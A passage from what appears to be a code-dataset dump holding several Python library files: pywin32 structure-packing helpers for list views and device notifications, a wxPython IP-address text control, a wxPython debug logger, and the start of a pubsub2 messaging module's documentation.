commctrl.LVIF_STATE\n if stateMask is None: stateMask = state\n \n if image is None: image = 0\n else: mask |= commctrl.LVIF_IMAGE\n if param is None: param = 0\n else: mask |= commctrl.LVIF_PARAM\n if indent is None: indent = 0\n else: mask |= commctrl.LVIF_INDENT\n\n if text is None:\n text_addr = text_len = 0\n else:\n mask |= commctrl.LVIF_TEXT\n text_buffer = _make_text_buffer(text)\n text_len = len(text)\n extra.append(text_buffer)\n text_addr, _ = text_buffer.buffer_info()\n buf = struct.pack(_lvitem_fmt,\n mask, item, subItem,\n state, stateMask,\n text_addr, text_len, # text\n image, param, indent)\n return array.array(\"b\", buf), extra\n\ndef UnpackLVITEM(buffer):\n item_mask, item_item, item_subItem, \\\n item_state, item_stateMask, \\\n item_textptr, item_cchText, item_image, \\\n item_param, item_indent = struct.unpack(_lvitem_fmt, buffer)\n # ensure only items listed by the mask are valid\n if not (item_mask & commctrl.LVIF_TEXT): item_textptr = item_cchText = None\n if not (item_mask & commctrl.LVIF_IMAGE): item_image = None\n if not (item_mask & commctrl.LVIF_PARAM): item_param = None\n if not (item_mask & commctrl.LVIF_INDENT): item_indent = None\n if not (item_mask & commctrl.LVIF_STATE): item_state = item_stateMask = None\n \n if item_textptr:\n text = win32gui.PyGetString(item_textptr)\n else:\n text = None\n return _MakeResult(\"LVITEM item_item item_subItem item_state \"\n \"item_stateMask text item_image item_param item_indent\",\n (item_item, item_subItem, item_state, item_stateMask,\n text, item_image, item_param, item_indent))\n\n# Unpack an \"LVNOTIFY\" message\ndef UnpackLVDISPINFO(lparam):\n item_size = struct.calcsize(_lvitem_fmt)\n format = _nmhdr_fmt + _nmhdr_align_padding + (\"%ds\" % (item_size,))\n buf = win32gui.PyGetMemory(lparam, struct.calcsize(format))\n hwndFrom, id, code, buf_item = struct.unpack(format, buf)\n item = UnpackLVITEM(buf_item)\n return _MakeResult(\"LVDISPINFO hwndFrom id code item\",\n (hwndFrom, id, code, item))\n\ndef UnpackLVNOTIFY(lparam):\n format = _nmhdr_fmt + _nmhdr_align_padding + \"7i\"\n if is64bit:\n format = format + \"xxxx\" # point needs padding.\n format = format + \"P\"\n buf = win32gui.PyGetMemory(lparam, struct.calcsize(format))\n hwndFrom, id, code, item, subitem, newstate, oldstate, \\\n changed, pt_x, pt_y, lparam = struct.unpack(format, buf)\n return _MakeResult(\"UnpackLVNOTIFY hwndFrom id code item subitem \"\n \"newstate oldstate changed pt lparam\",\n (hwndFrom, id, code, item, subitem, newstate, oldstate,\n changed, (pt_x, pt_y), lparam))\n\n\n# Make a new buffer suitable for querying an items attributes.\ndef EmptyLVITEM(item, subitem, mask = None, text_buf_size=512):\n extra = [] # objects we must keep references to\n if mask is None:\n mask = commctrl.LVIF_IMAGE | commctrl.LVIF_INDENT | commctrl.LVIF_TEXT | \\\n commctrl.LVIF_PARAM | commctrl.LVIF_STATE\n if mask & commctrl.LVIF_TEXT:\n text_buffer = _make_empty_text_buffer(text_buf_size)\n extra.append(text_buffer)\n text_addr, _ = text_buffer.buffer_info()\n else:\n text_addr = text_buf_size = 0\n buf = struct.pack(_lvitem_fmt,\n mask, item, subitem, \n 0, 0,\n text_addr, text_buf_size, # text\n 0, 0, 0)\n return array.array(\"b\", buf), extra\n\n\n# List view column structure\n_lvcolumn_fmt = \"iiiPiiii\"\ndef PackLVCOLUMN(fmt=None, cx=None, text=None, subItem=None, image=None, order=None):\n extra = [] # objects we must keep references to\n mask = 0\n mask, fmt = _GetMaskAndVal(fmt, 0, mask, commctrl.LVCF_FMT)\n mask, cx = _GetMaskAndVal(cx, 0, mask, commctrl.LVCF_WIDTH)\n mask, text = _GetMaskAndVal(text, None, mask, commctrl.LVCF_TEXT)\n mask, subItem = _GetMaskAndVal(subItem, 0, mask, commctrl.LVCF_SUBITEM)\n mask, image = _GetMaskAndVal(image, 0, mask, commctrl.LVCF_IMAGE)\n mask, order= _GetMaskAndVal(order, 0, mask, commctrl.LVCF_ORDER)\n if text is None:\n text_addr = text_len = 0\n else:\n text_buffer = _make_text_buffer(text)\n extra.append(text_buffer)\n text_addr, _ = text_buffer.buffer_info()\n text_len = len(text)\n buf = struct.pack(_lvcolumn_fmt,\n mask, fmt, cx,\n text_addr, text_len, # text\n subItem, image, order)\n return array.array(\"b\", buf), extra\n\ndef UnpackLVCOLUMN(lparam):\n mask, fmt, cx, text_addr, text_size, subItem, image, order = \\\n struct.unpack(_lvcolumn_fmt, lparam)\n # ensure only items listed by the mask are valid\n if not (mask & commctrl.LVCF_FMT): fmt = None\n if not (mask & commctrl.LVCF_WIDTH): cx = None\n if not (mask & commctrl.LVCF_TEXT): text_addr = text_size = None\n if not (mask & commctrl.LVCF_SUBITEM): subItem = None\n if not (mask & commctrl.LVCF_IMAGE): image = None\n if not (mask & commctrl.LVCF_ORDER): order = None\n if text_addr:\n text = win32gui.PyGetString(text_addr)\n else:\n text = None\n return _MakeResult(\"LVCOLUMN fmt cx text subItem image order\",\n (fmt, cx, text, subItem, image, order))\n\n\n# Make a new buffer suitable for querying an items attributes.\ndef EmptyLVCOLUMN(mask = None, text_buf_size=512):\n extra = [] # objects we must keep references to\n if mask is None:\n mask = commctrl.LVCF_FMT | commctrl.LVCF_WIDTH | commctrl.LVCF_TEXT | \\\n commctrl.LVCF_SUBITEM | commctrl.LVCF_IMAGE | commctrl.LVCF_ORDER\n if mask & commctrl.LVCF_TEXT:\n text_buffer = _make_empty_text_buffer(text_buf_size)\n extra.append(text_buffer)\n text_addr, _ = text_buffer.buffer_info()\n else:\n text_addr = text_buf_size = 0\n buf = struct.pack(_lvcolumn_fmt,\n mask, 0, 0,\n text_addr, text_buf_size, # text\n 0, 0, 0)\n return array.array(\"b\", buf), extra\n\n# List view hit-test.\ndef PackLVHITTEST(pt):\n format = \"iiiii\"\n buf = struct.pack(format,\n pt[0], pt[1],\n 0, 0, 0)\n return array.array(\"b\", buf), None\n\ndef UnpackLVHITTEST(buf):\n format = \"iiiii\"\n x, y, flags, item, subitem = struct.unpack(format, buf)\n return _MakeResult(\"LVHITTEST pt flags item subitem\",\n ((x,y), flags, item, subitem))\n\ndef PackHDITEM(cxy = None, text = None, hbm = None, fmt = None,\n param = None, image = None, order = None):\n extra = [] # objects we must keep references to\n mask = 0\n mask, cxy = _GetMaskAndVal(cxy, 0, mask, commctrl.HDI_HEIGHT)\n mask, text = _GetMaskAndVal(text, None, mask, commctrl.LVCF_TEXT)\n mask, hbm = _GetMaskAndVal(hbm, 0, mask, commctrl.HDI_BITMAP)\n mask, fmt = _GetMaskAndVal(fmt, 0, mask, commctrl.HDI_FORMAT)\n mask, param = _GetMaskAndVal(param, 0, mask, commctrl.HDI_LPARAM)\n mask, image = _GetMaskAndVal(image, 0, mask, commctrl.HDI_IMAGE)\n mask, order = _GetMaskAndVal(order, 0, mask, commctrl.HDI_ORDER)\n\n if text is None:\n text_addr = text_len = 0\n else:\n text_buffer = _make_text_buffer(text)\n extra.append(text_buffer)\n text_addr, _ = text_buffer.buffer_info()\n text_len = len(text)\n\n format = \"iiPPiiPiiii\"\n buf = struct.pack(format,\n mask, cxy, text_addr, hbm, text_len,\n fmt, param, image, order, 0, 0)\n return array.array(\"b\", buf), extra\n\n# Device notification stuff\n\n# Generic function for packing a DEV_BROADCAST_* structure - generally used\n# by the other PackDEV_BROADCAST_* functions in this module.\ndef PackDEV_BROADCAST(devicetype, rest_fmt, rest_data, extra_data=_make_bytes('')):\n # It seems a requirement is 4 byte alignment, even for the 'BYTE data[1]'\n # field (eg, that would make DEV_BROADCAST_HANDLE 41 bytes, but we must\n # be 44.\n extra_data += _make_bytes('\\0' * (4-len(extra_data)%4))\n format = \"iii\" + rest_fmt\n full_size = struct.calcsize(format) + len(extra_data)\n data = (full_size, devicetype, 0) + rest_data\n return struct.pack(format, *data) + extra_data\n\ndef PackDEV_BROADCAST_HANDLE(handle, hdevnotify=0, guid=_make_bytes(\"\\0\"*16), name_offset=0, data=_make_bytes(\"\\0\")):\n return PackDEV_BROADCAST(win32con.DBT_DEVTYP_HANDLE, \"PP16sl\",\n (long(handle), long(hdevnotify), _make_memory(guid), name_offset),\n data)\n\ndef PackDEV_BROADCAST_VOLUME(unitmask, flags):\n return PackDEV_BROADCAST(win32con.DBT_DEVTYP_VOLUME, \"II\",\n (unitmask, flags))\n\ndef PackDEV_BROADCAST_DEVICEINTERFACE(classguid, name=\"\"):\n if win32gui.UNICODE:\n # This really means \"is py3k?\" - so not accepting bytes is OK\n if not isinstance(name, unicode):\n raise TypeError(\"Must provide unicode for the name\")\n name = name.encode('utf-16le')\n else:\n # py2k was passed a unicode object - encode as mbcs.\n if isinstance(name, unicode):\n name = name.encode('mbcs')\n\n # 16 bytes for the IID followed by \\0 term'd string.\n rest_fmt = \"16s%ds\" % len(name)\n # _make_memory(iid) hoops necessary to get the raw IID bytes.\n rest_data = (_make_memory(pywintypes.IID(classguid)), name)\n return PackDEV_BROADCAST(win32con.DBT_DEVTYP_DEVICEINTERFACE, rest_fmt, rest_data)\n\n# An object returned by UnpackDEV_BROADCAST.\nclass DEV_BROADCAST_INFO:\n def __init__(self, devicetype, **kw):\n self.devicetype = devicetype\n self.__dict__.update(kw)\n def __str__(self):\n return \"DEV_BROADCAST_INFO:\" + str(self.__dict__)\n\n# Support for unpacking the 'lparam' \ndef UnpackDEV_BROADCAST(lparam):\n if lparam == 0:\n return None\n hdr_format = \"iii\"\n hdr_size = struct.calcsize(hdr_format)\n hdr_buf = win32gui.PyGetMemory(lparam, hdr_size)\n size, devtype, reserved = struct.unpack(\"iii\", hdr_buf)\n # Due to x64 alignment issues, we need to use the full format string over\n # the entire buffer. ie, on x64:\n # calcsize('iiiP') != calcsize('iii')+calcsize('P')\n buf = win32gui.PyGetMemory(lparam, size)\n\n extra = x = {}\n if devtype == win32con.DBT_DEVTYP_HANDLE:\n # 2 handles, a GUID, a LONG and possibly an array following...\n fmt = hdr_format + \"PP16sl\"\n _, _, _, x['handle'], x['hdevnotify'], guid_bytes, x['nameoffset'] = \\\n struct.unpack(fmt, buf[:struct.calcsize(fmt)])\n x['eventguid'] = pywintypes.IID(guid_bytes, True)\n elif devtype == win32con.DBT_DEVTYP_DEVICEINTERFACE:\n fmt = hdr_format + \"16s\"\n _, _, _, guid_bytes = struct.unpack(fmt, buf[:struct.calcsize(fmt)])\n x['classguid'] = pywintypes.IID(guid_bytes, True)\n x['name'] = win32gui.PyGetString(lparam + struct.calcsize(fmt))\n elif devtype == win32con.DBT_DEVTYP_VOLUME:\n # int mask and flags\n fmt = hdr_format + \"II\"\n _, _, _, x['unitmask'], x['flags'] = struct.unpack(fmt, buf[:struct.calcsize(fmt)])\n else:\n raise NotImplementedError(\"unknown device type %d\" % (devtype,))\n return DEV_BROADCAST_INFO(devtype, **extra)\n", "id": "10487619", "language": "Python", "matching_score": 2.3184893131256104, "max_stars_count": 3, "path": "Lib/site-packages/win32/lib/win32gui_struct.py" }, { "content": "#----------------------------------------------------------------------------\n# Name: masked.ipaddrctrl.py\n# Authors: <NAME>\n# Email: <EMAIL>\n# Created: 02/11/2003\n# Copyright: (c) 2003 by <NAME>, 2003\n# RCS-ID: $Id: ipaddrctrl.py 29787 2004-10-11 22:13:18Z RD $\n# License: wxWidgets license\n#----------------------------------------------------------------------------\n# NOTE:\n# Masked.IpAddrCtrl is a minor modification to masked.TextCtrl, that is\n# specifically tailored for entering IP addresses. It allows for\n# right-insert fields and provides an accessor to obtain the entered\n# address with extra whitespace removed.\n#\n#----------------------------------------------------------------------------\n\"\"\"\nProvides a smart text input control that understands the structure and\nlimits of IP Addresses, and allows automatic field navigation as the\nuser hits '.' when typing.\n\"\"\"\n\nimport wx, types, string\nfrom wx.lib.masked import BaseMaskedTextCtrl\n\n# jmg 12/9/03 - when we cut ties with Py 2.2 and earlier, this would\n# be a good place to implement the 2.3 logger class\nfrom wx.tools.dbg import Logger\n##dbg = Logger()\n##dbg(enable=0)\n\nclass IpAddrCtrlAccessorsMixin:\n \"\"\"\n Defines IpAddrCtrl's list of attributes having their own\n Get/Set functions, exposing only those that make sense for\n an IP address control.\n \"\"\"\n\n exposed_basectrl_params = (\n 'fields',\n 'retainFieldValidation',\n 'formatcodes',\n 'fillChar',\n 'defaultValue',\n 'description',\n\n 'useFixedWidthFont',\n 'signedForegroundColour',\n 'emptyBackgroundColour',\n 'validBackgroundColour',\n 'invalidBackgroundColour',\n\n 'emptyInvalid',\n 'validFunc',\n 'validRequired',\n )\n\n for param in exposed_basectrl_params:\n propname = param[0].upper() + param[1:]\n exec('def Set%s(self, value): self.SetCtrlParameters(%s=value)' % (propname, param))\n exec('def Get%s(self): return self.GetCtrlParameter(\"%s\")''' % (propname, param))\n\n if param.find('Colour') != -1:\n # add non-british spellings, for backward-compatibility\n propname.replace('Colour', 'Color')\n\n exec('def Set%s(self, value): self.SetCtrlParameters(%s=value)' % (propname, param))\n exec('def Get%s(self): return self.GetCtrlParameter(\"%s\")''' % (propname, param))\n\n\nclass IpAddrCtrl( BaseMaskedTextCtrl, IpAddrCtrlAccessorsMixin ):\n \"\"\"\n This class is a particular type of MaskedTextCtrl that accepts\n and understands the semantics of IP addresses, reformats input\n as you move from field to field, and accepts '.' as a navigation\n character, so that typing an IP address can be done naturally.\n \"\"\"\n\n\n\n def __init__( self, parent, id=-1, value = '',\n pos = wx.DefaultPosition,\n size = wx.DefaultSize,\n style = wx.TE_PROCESS_TAB,\n validator = wx.DefaultValidator,\n name = 'IpAddrCtrl',\n setupEventHandling = True, ## setup event handling by default\n **kwargs):\n\n if not kwargs.has_key('mask'):\n kwargs['mask'] = mask = \"###.###.###.###\"\n if not kwargs.has_key('formatcodes'):\n kwargs['formatcodes'] = 'F_Sr<>'\n if not kwargs.has_key('validRegex'):\n kwargs['validRegex'] = \"( \\d| \\d\\d|(1\\d\\d|2[0-4]\\d|25[0-5]))(\\.( \\d| \\d\\d|(1\\d\\d|2[0-4]\\d|25[0-5]))){3}\"\n\n\n BaseMaskedTextCtrl.__init__(\n self, parent, id=id, value = value,\n pos=pos, size=size,\n style = style,\n validator = validator,\n name = name,\n setupEventHandling = setupEventHandling,\n **kwargs)\n\n\n # set up individual field parameters as well:\n field_params = {}\n field_params['validRegex'] = \"( | \\d| \\d |\\d | \\d\\d|\\d\\d |\\d \\d|(1\\d\\d|2[0-4]\\d|25[0-5]))\"\n\n # require \"valid\" string; this prevents entry of any value > 255, but allows\n # intermediate constructions; overall control validation requires well-formatted value.\n field_params['formatcodes'] = 'V'\n\n if field_params:\n for i in self._field_indices:\n self.SetFieldParameters(i, **field_params)\n\n # This makes '.' act like tab:\n self._AddNavKey('.', handler=self.OnDot)\n self._AddNavKey('>', handler=self.OnDot) # for \"shift-.\"\n\n\n def OnDot(self, event):\n \"\"\"\n Defines what action to take when the '.' character is typed in the\n control. By default, the current field is right-justified, and the\n cursor is placed in the next field.\n \"\"\"\n## dbg('IpAddrCtrl::OnDot', indent=1)\n pos = self._adjustPos(self._GetInsertionPoint(), event.GetKeyCode())\n oldvalue = self.GetValue()\n edit_start, edit_end, slice = self._FindFieldExtent(pos, getslice=True)\n if not event.ShiftDown():\n if pos > edit_start and pos < edit_end:\n # clip data in field to the right of pos, if adjusting fields\n # when not at delimeter; (assumption == they hit '.')\n newvalue = oldvalue[:pos] + ' ' * (edit_end - pos) + oldvalue[edit_end:]\n self._SetValue(newvalue)\n self._SetInsertionPoint(pos)\n## dbg(indent=0)\n return self._OnChangeField(event)\n\n\n\n def GetAddress(self):\n \"\"\"\n Returns the control value, with any spaces removed.\n \"\"\"\n value = BaseMaskedTextCtrl.GetValue(self)\n return value.replace(' ','') # remove spaces from the value\n\n\n def _OnCtrl_S(self, event):\n## dbg(\"IpAddrCtrl::_OnCtrl_S\")\n if self._demo:\n print \"value:\", self.GetAddress()\n return False\n\n def SetValue(self, value):\n \"\"\"\n Takes a string value, validates it for a valid IP address,\n splits it into an array of 4 fields, justifies it\n appropriately, and inserts it into the control.\n Invalid values will raise a ValueError exception.\n \"\"\"\n## dbg('IpAddrCtrl::SetValue(%s)' % str(value), indent=1)\n if type(value) not in (types.StringType, types.UnicodeType):\n## dbg(indent=0)\n raise ValueError('%s must be a string', str(value))\n\n bValid = True # assume True\n parts = value.split('.')\n\n if len(parts) != 4:\n bValid = False\n else:\n for i in range(4):\n part = parts[i]\n if not 0 <= len(part) <= 3:\n bValid = False\n break\n elif part.strip(): # non-empty part\n try:\n j = string.atoi(part)\n if not 0 <= j <= 255:\n bValid = False\n break\n else:\n parts[i] = '%3d' % j\n except:\n bValid = False\n break\n else:\n # allow empty sections for SetValue (will result in \"invalid\" value,\n # but this may be useful for initializing the control:\n parts[i] = ' ' # convert empty field to 3-char length\n\n if not bValid:\n## dbg(indent=0)\n raise ValueError('value (%s) must be a string of form n.n.n.n where n is empty or in range 0-255' % str(value))\n else:\n## dbg('parts:', parts)\n value = string.join(parts, '.')\n BaseMaskedTextCtrl.SetValue(self, value)\n## dbg(indent=0)\n\n__i=0\n## CHANGELOG:\n## ====================\n## Version 1.2\n## 1. Fixed bugs involving missing imports now that these classes are in\n## their own module.\n## 2. Added doc strings for ePyDoc.\n## 3. Renamed helper functions, vars etc. not intended to be visible in public\n## interface to code.\n##\n## Version 1.1\n## Made ipaddrctrls allow right-insert in subfields, now that insert/cut/paste works better\n", "id": "12500068", "language": "Python", "matching_score": 1.6707950830459595, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/masked/ipaddrctrl.py" }, { "content": "#----------------------------------------------------------------------------\n# Name: dbg.py\n# RCS-ID: $Id: dbg.py 39667 2006-06-11 00:13:05Z RD $\n# Author: <NAME>\n# Email: <EMAIL>\n# Created: 07/11/2002\n# Copyright: (c) 2002 by <NAME>, 2002\n# License: wxWindows license\n#----------------------------------------------------------------------------\n# 12/21/2003 - <NAME> (<EMAIL>)\n#\n# o V2.5 compatability update \n#\n\n\"\"\"\nThis module provides a useful debugging framework that supports\nshowing nesting of function calls and allows a program to contain\nlots of debugging print statements that can easily be turned on\nor off to debug the code. It also supports the ability to\nhave each function indent the debugging statements contained\nwithin it, including those of any other function called within\nits scope, thus allowing you to see in what order functions are\nbeing called, and from where.\n\nThis capability is particularly useful in wxPython applications,\nwhere exactly events occur that cause functions to be called is\nnot entirely clear, and because wxPython programs can't be run\nfrom inside other debugging environments that have their own\nmessage loops.\n\nThis module defines a Logger class, responsible for managing\ndebugging output. Each Logger instance can be given a name\nat construction; if this is done, '<name>:' will precede each\nlogging output made by that Logger instance.\n\nThe log() function this class provides takes a set of positional\narguments that are printed in order if debugging is enabled\n(just like print does), followed by a set of keyword arguments\nthat control the behavior of the log() function itself on subsequent\ncalls. The current keyword arguments are:\n\nindent\n When set to a value of 1, this increments the current\n indentation level, causing all subsequent dbg() outputs to be\n indented by 3 more spaces. When set to a value of 0,\n this process is reversed, causing the indent to decrease by\n 3 spaces. The default indentation level is 0.\n\nenable\n When set to a value of 1, this turns on dbg() output for\n for program importing this module, until told to do otherwise.\n When set to a value of 0, dbg output is turned off. (dbg\n output is off by default.)\n\nsuspend\n When set to a value of 1, this increments the current\n \"suspension\" level. This makes it possible for a function\n to temporarily suspend its and any of its dependents'\n potential outputs that use the same Logger instance.\n When set to a value of 0, the suspension level is\n decremented. When the value goes back to 0, potential\n logging is resumed (actual output depends on the\n \"enable\" status of the Logger instance in question.)\n\nwxlog\n When set to a value of 1, the output will be sent to the\n active wxLog target.\n\nstream\n When set to a non-None value, the current output stream\n (default of sys.stdout) is pushed onto a stack of streams,\n and is replaced in the dbg system with the specified stream.\n When called with a value of None, the previous stream will\n be restored (if stacked.) If set to None without previously\n changing it will result in no action being taken.\n\nYou can also call the log function implicitly on the Logger\ninstance, ie. you can type::\n\n from wxPython.tools.dbg import Logger\n dbg = Logger()\n dbg('something to print')\n\nUsing this fairly simple mechanism, it is possible to get fairly\nuseful debugging output in a program. Consider the following\ncode example:\n\n>>> d = {1:'a', 2:'dictionary', 3:'of', 4:'words'}\n>>> dbg = dbg.Logger('module')\n>>> dbg(enable=1)\nmodule: dbg enabled\n>>> def foo(d):\n... dbg('foo', indent=1)\n... bar(d)\n... dbg('end of foo', indent=0)\n...\n>>> def bar(d):\n... dbg('bar', indent=1)\n... dbg('contents of d:', indent=1)\n... l = d.items()\n... l.sort()\n... for key, value in l:\n... dbg('%d =' % key, value)\n... dbg(indent=0)\n... dbg('end of bar', indent=0)\n...\n>>> foo(d)\nmodule: foo\n module: bar\n module: contents of d:\n module: 1 = a\n module: 2 = dictionary\n module: 3 = of\n module: 4 = words\n module: end of bar\n module: end of foo\n>>>\n\n\"\"\"\n\n\nclass Logger:\n def __init__(self, name=None):\n import sys\n self.name = name\n self._indent = 0 # current number of indentations\n self._dbg = 0 # enable/disable flag\n self._suspend = 0 # allows code to \"suspend/resume\" potential dbg output\n self._wxLog = 0 # use wxLogMessage for debug output\n self._outstream = sys.stdout # default output stream\n self._outstream_stack = [] # for restoration of streams as necessary\n\n\n def IsEnabled():\n return self._dbg\n\n def IsSuspended():\n return _suspend\n\n\n def log(self, *args, **kwargs):\n \"\"\"\n This function provides a useful framework for generating\n optional debugging output that can be displayed at an\n arbitrary level of indentation.\n \"\"\"\n if not self._dbg and not 'enable' in kwargs.keys():\n return\n\n if self._dbg and len(args) and not self._suspend:\n # (emulate print functionality; handle unicode as best as possible:)\n strs = []\n for arg in args:\n try:\n strs.append(str(arg))\n except:\n strs.append(repr(arg))\n\n output = ' '.join(strs)\n if self.name: output = self.name+': ' + output\n output = ' ' * 3 * self._indent + output\n\n if self._wxLog:\n from wxPython.wx import wxLogMessage # (if not already imported)\n wxLogMessage(output)\n else:\n self._outstream.write(output + '\\n')\n self._outstream.flush()\n # else do nothing\n\n # post process args:\n for kwarg, value in kwargs.items():\n if kwarg == 'indent':\n self.SetIndent(value)\n elif kwarg == 'enable':\n self.SetEnabled(value)\n elif kwarg == 'suspend':\n self.SetSuspend(value)\n elif kwarg == 'wxlog':\n self.SetWxLog(value)\n elif kwarg == 'stream':\n self.SetStream(value)\n\n # aliases for the log function\n dbg = log # backwards compatible\n msg = log #\n __call__ = log # this one lets you 'call' the instance directly\n\n\n def SetEnabled(self, value):\n if value:\n old_dbg = self._dbg\n self._dbg = 1\n if not old_dbg:\n self.dbg('dbg enabled')\n else:\n if self._dbg:\n self.dbg('dbg disabled')\n self._dbg = 0\n\n\n def SetSuspend(self, value):\n if value:\n self._suspend += 1\n elif self._suspend > 0:\n self._suspend -= 1\n\n\n def SetIndent(self, value):\n if value:\n self._indent += 1\n elif self._indent > 0:\n self._indent -= 1\n\n\n def SetWxLog(self, value):\n self._wxLog = value\n\n\n def SetStream(self, value):\n if value:\n self._outstream_stack.append( self._outstream )\n self._outstream = value\n elif value is None and len(self._outstream_stack) > 0:\n self._outstream = self._outstream_stack.pop(-1)\n\n\n#------------------------------------------------------------\n\nif __name__ == \"__main__\":\n import sys\n import wx\n \n wx.Log_SetActiveTarget( wx.LogStderr() )\n logger = Logger('module')\n dbg = logger.dbg\n dbg(enable=1)\n logger('test __call__ interface')\n dbg('testing wxLog output to stderr:', wxlog=1, indent=1)\n dbg('1,2,3...')\n dbg('testing wx.LogNull:')\n devnull = wx.LogNull()\n dbg('4,5,6...') # shouldn't print, according to doc...\n del devnull\n dbg('(resuming to wx.LogStdErr)', '7,8,9...', indent=0)\n dbg('disabling wx.Log output, switching to stderr:')\n dbg(wxlog=0, stream=sys.stderr)\n dbg(logger._outstream, 'switching back to stdout:')\n dbg(stream=None)\n dbg(logger._outstream )\n def foo(str):\n dbg('foo:', indent=1)\n dbg(str, indent=0)\n foo('testing dbg inside function')\n class bar(Logger):\n def __init__(self, name):\n Logger.__init__(self, name)\n def enable(self, value):\n self.dbg(enable=value)\n def foo(self, str):\n self.dbg('foo:', indent=1)\n self.dbg(str, indent=0)\n f = bar('class mixin')\n f.foo(\"shouldn't print\")\n f.enable(1)\n f.foo(\"should print\")\n dbg('test completed.', enable=0)\n dbg('(double-checking ;-)')\n\n", "id": "8944806", "language": "Python", "matching_score": 1.8836015462875366, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/dbg.py" }, { "content": "'''\nThis module provides publish-subscribe functions that allow\nyour methods, functions, and any other callable object to subscribe to \nmessages of a given topic, sent from anywhere in your application. \nIt therefore provides a powerful decoupling mechanism, e.g. between \nGUI and application logic: senders and listeners don't need to know about \neach other. \n\nE.g. the following sends a message of type 'MsgType' to a listener, \ncarrying data 'some data' (in this case, a string, but could be anything)::\n\n import pubsub2 as ps\n class MsgType(ps.Message):\n pass\n def listener(msg, data):\n print 'got msg', data\n ps.subscribe(listener, MsgType)\n ps.sendMessage(MsgType('some data'))\n\nThe only requirement on your listener is that it be a callable that takes\nthe message instance as the first argument, and any args/kwargs come after. \nContrary to pubsub, with pubsub2 the data sent with your message is \nspecified in the message instance constructor, and those parameters are\npassed on directly to your listener via its parameter list. \n\nThe important concepts of pubsub2 are: \n\n- topic: the message type. This is a 'dotted' sequence of class names, \n defined in your messaging module e.g. yourmsgs.py. The sequence\n denotes a hierarchy of topics from most general to least. \n For example, a listener of this topic::\n\n Sports.Baseball\n\n would receive messages for these topics::\n\n Sports.Baseball # because same\n Sports.Baseball.Highscores # because more specific\n\n but not these::\n\n Sports # because more general\n News # because different topic\n \n Defining a topic hierarchy is trivial: in yourmsgs.py you would do e.g.::\n\n import pubsub2 as ps\n class Sports(ps.Message):\n class Baseball(ps.Message):\n class Highscores(ps.Message): pass\n class Lowscores(ps.Message): pass\n class Hockey(ps.Message): \n class Highscores(ps.Message): pass\n \n ps.setupMsgTree(Sports) # don't forget this!\n \n Note that the above allows you to document your message topic tree \n using standard Python techniques, and to define specific __init__()\n for your data. \n\n- listener: a function, bound method or callable object. The first \n argument will be a reference to a Message object. \n The order of call of the listeners is not specified. Here are \n examples of valid listeners (see the Sports.subscribe() calls)::\n \n class Foo:\n def __call__(self, m): pass\n def meth(self, m): pass\n def meth2(self, m, arg1=''): pass # arg1 is optional so valid\n foo = Foo()\n \n def func(m, arg1=None, arg2=''): pass # both arg args are optional\n \n from yourmsgs import Sports\n Sports.Hockey.subscribe(func) # function\n Sports.Baseball.subscribe(foo.meth) # bound method\n Sports.Hockey.subscribe(foo.meth2) # bound method\n Sports.Hockey.subscribe(foo) # functor (Foo.__call__)\n \n In every case, the parameter `m` will contain the message instance, \n and the remaining arguments are those given to the message constructor.\n\n- message: an instance of a message of a certain type. You create the \n instance, giving it data via keyword arguments, which become instance\n attributes. E.g. ::\n\n from yourmsgs import sendMessage, Sports\n sendMessage( Sports.Hockey(a=1, b='c') )\n \n will cause the previous example's `func` listener to get an instance \n m of Sports.Hockey, with m.a==1 and m.b=='c'. \n\n Note that every message instance has a subTopic attribute. If this \n attribute is not None, it means that the message instance is \n not for the topic given to the sendMessage(), but for a more \n generic topic (closer to the root of the message type tree)::\n\n def handleSports(msg):\n assert msg.subTopic == Sports.Hockey\n def handleHockey(msg):\n assert msg.subTopic == None\n Sports.Hockey.subscribe(handleHockey)\n Sports.subscribe(handleSports)\n sendMessage(Sports.Hockey())\n\n- sender: the part of your code that calls send()::\n\n # Sports.Hockey is defined in yourmsgs.py, so:\n from yourmsgs import sendMessage, Sports\n # now send something:\n msg = Sports.Hockey(arg1)\n sendMessage( msg ) \n\n Note that the above will cause your listeners to be called as \n f(msg, arg1). \n\n- log output: using a messaging system has the disadvantage that \n \"tracking\" data/events can be more difficult. As an aid, \n information is sent to a log function, which by default just \n discards the information. You can set your own logger via \n setLog() or logToStdOut(). \n\n An extra string can be given in the send() or \n subscribe() calls. For send(), this string allows you to identify \n the \"send point\": if you don't see it on your log output, then\n you know that your code doesn't reach the call to send(). For \n subscribe(), it identifies the listener with a string of your choice, \n otherwise it would be the (rather cryptic) Python name for the listener \n callable. \n\n- exceptions while sending: what should happen if a listener (or something\n it calls) raises an exception? The listeners must be independent of each \n other because the order of calls is not specified. Certain types of \n exceptions might be handlable by the sender, so simply stopping the \n send loop is rather extreme. Instead, the send() aggregates the exception\n objects and when it has sent to all listeners, raises a ListenerError \n exception. This has an attribute `exceptions` that is a list of \n ExcInfo instances, one for each exception raised during the send(). \n\n- infinite recursion: it is possible, though not likely, that one of your\n messages causes another message to get sent, which in turn causes the \n first type of message to get sent again, thereby leading to an infinite\n loop. There is currently no guard against this, though adding one would\n not be difficult.\n\nTo summarize: \n\n- First, create a file e.g. yourmsgs.py in which you define and document\n your message topics tree and in which you call setupMsgTree();\n- Subscribe your listeners to some of those topics by importing yourmsgs.py, \n and calling subscribe() on the message topic to listen for;\n- Anywhere in your code, you can send a message by importing yourmsgs.py, \n and calling `sendMessage( MsgTopicSeq(data) )` or MsgTopic(data).send()\n- Debugging your messaging: \n - If you are not seeing all the messages that you expect, add some \n identifiers to the send/subscribe calls. \n - Turn logging on with logToStdOut() (or use setLog(yourLogFunction)\n - The class mechanism will lead to runtime exception if msg topic doesn't\n exist. \n\nNote: Listeners (callbacks) are held only by weak reference, which in \ngeneral is adequate (this prevents the messaging system from keeping alive\ncallables that are no longer used by anyone). However, if you want the \ncallback to be a wrapper around one of your functions, that wrapper must \nbe stored somewhere so that the weak reference isn't the only reference \nto it (which will cause it to die). \n\n\n:Author: <NAME>\n:Since: Apr 2004\n:Version: 2.01\n:Copyright: \\(c) 2007-2009 <NAME>\n:License: see LICENSE.txt\n\n'''\n\nPUBSUB_VERSION = 2\nVERSION_STR = \"2.0a.200810.r153\"\n\n\nimport sys, traceback\nfrom core import weakmethod\n\n__all__ = [\n # listener stuff:\n 'Listener', 'ListenerError', 'ExcInfo',\n \n # topic stuff:\n 'Message',\n \n # publisher stuff:\n 'subscribe', 'unsubscribe', 